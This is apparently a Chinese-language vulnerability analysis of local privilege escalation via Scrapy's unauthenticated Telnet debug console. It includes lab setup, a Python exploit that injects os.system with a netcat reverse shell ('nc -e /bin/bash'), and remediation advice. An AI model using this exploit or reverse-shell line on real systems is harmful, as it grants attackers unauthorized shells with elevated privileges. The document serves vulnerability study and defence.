网络爬虫暗藏杀机:在Scrapy中利用Telnet服务LPE
字数 944 2025-08-18 11:38:45
Scrapy Telnet服务本地权限提升漏洞分析与利用
漏洞概述
本漏洞存在于Scrapy框架的Telnet服务中,允许本地攻击者在特定条件下实现权限提升(LPE, Local Privilege Escalation)。该漏洞影响Scrapy 1.5.2以下版本。
漏洞原理
Scrapy框架默认启用Telnet服务用于调试,监听本地6023端口。该服务存在以下安全问题:
- 无身份验证机制:任何本地用户都可以连接
- 执行环境权限:Telnet控制台以运行Scrapy进程的用户权限执行命令
- 命令注入可能:可通过Telnet接口执行任意Python代码
受影响版本
Scrapy < 1.5.2
环境搭建
所需环境
- Kali Linux系统
- Python 3环境
- Scrapy 1.5.1版本
安装步骤
-
下载Scrapy 1.5.1源码:
wget https://github.com/scrapy/scrapy/releases/download/1.5.1/scrapy-1.5.1.zip unzip scrapy-1.5.1.zip cd scrapy-1.5.1 -
安装依赖和Scrapy:
pip3 install Twisted python3 setup.py install
漏洞复现
测试爬虫代码
创建telnet_test.py文件,内容如下:
import scrapy
from scrapy.http import Request
class TelnetWaitingSpider(scrapy.Spider):
name = "telnet_waiting"
allowed_domains = ["example.org"]
start_urls = ["http://www.example.org"]
download_delay = 1000
def parse(self, _):
yield Request(url="http://www.example.org/")
利用代码
创建exp.py文件,内容如下:
import telnetlib
rs = "nc.traditional -e /bin/bash localhost 4444"
tn = telnetlib.Telnet("localhost", 6023)
tn.write(f"import os; os.system('{rs}')".encode("ascii") + b"\n")
复现步骤
-
在一个终端中启动Netcat监听:
nc -lvp 4444 -
在另一个终端中以高权限用户(如root)运行爬虫:
scrapy runspider telnet_test.py -
在第三个终端中执行利用代码:
python3 exp.py -
观察Netcat终端,将获得一个具有爬虫运行用户权限(如root)的shell。
漏洞分析
- Telnet服务默认启用:Scrapy运行时自动启动Telnet服务,监听6023端口
- 无认证机制:服务不验证连接者身份,任何本地用户均可连接
- 高权限执行:通过Telnet执行的代码以Scrapy进程权限运行
- 命令注入:可通过Python的os.system()执行系统命令
修复方案
- 升级到Scrapy 1.5.2或更高版本
- 禁用Telnet服务(在settings.py中添加):
TELNETCONSOLE_ENABLED = False - 使用防火墙规则限制本地访问:
iptables -A INPUT -p tcp --dport 6023 -j DROP
安全建议
- 定期更新使用的框架和库
- 最小权限原则:不以高权限用户运行爬虫
- 生产环境禁用调试接口
- 实施网络隔离,限制服务监听范围
总结
此漏洞展示了框架默认配置可能带来的安全风险,强调了:
- 调试接口的安全性问题
- 默认配置的安全隐患
- 权限隔离的重要性
- 本地安全同样不可忽视
开发人员应充分了解所使用框架的安全特性,并在生产环境中进行适当的安全配置。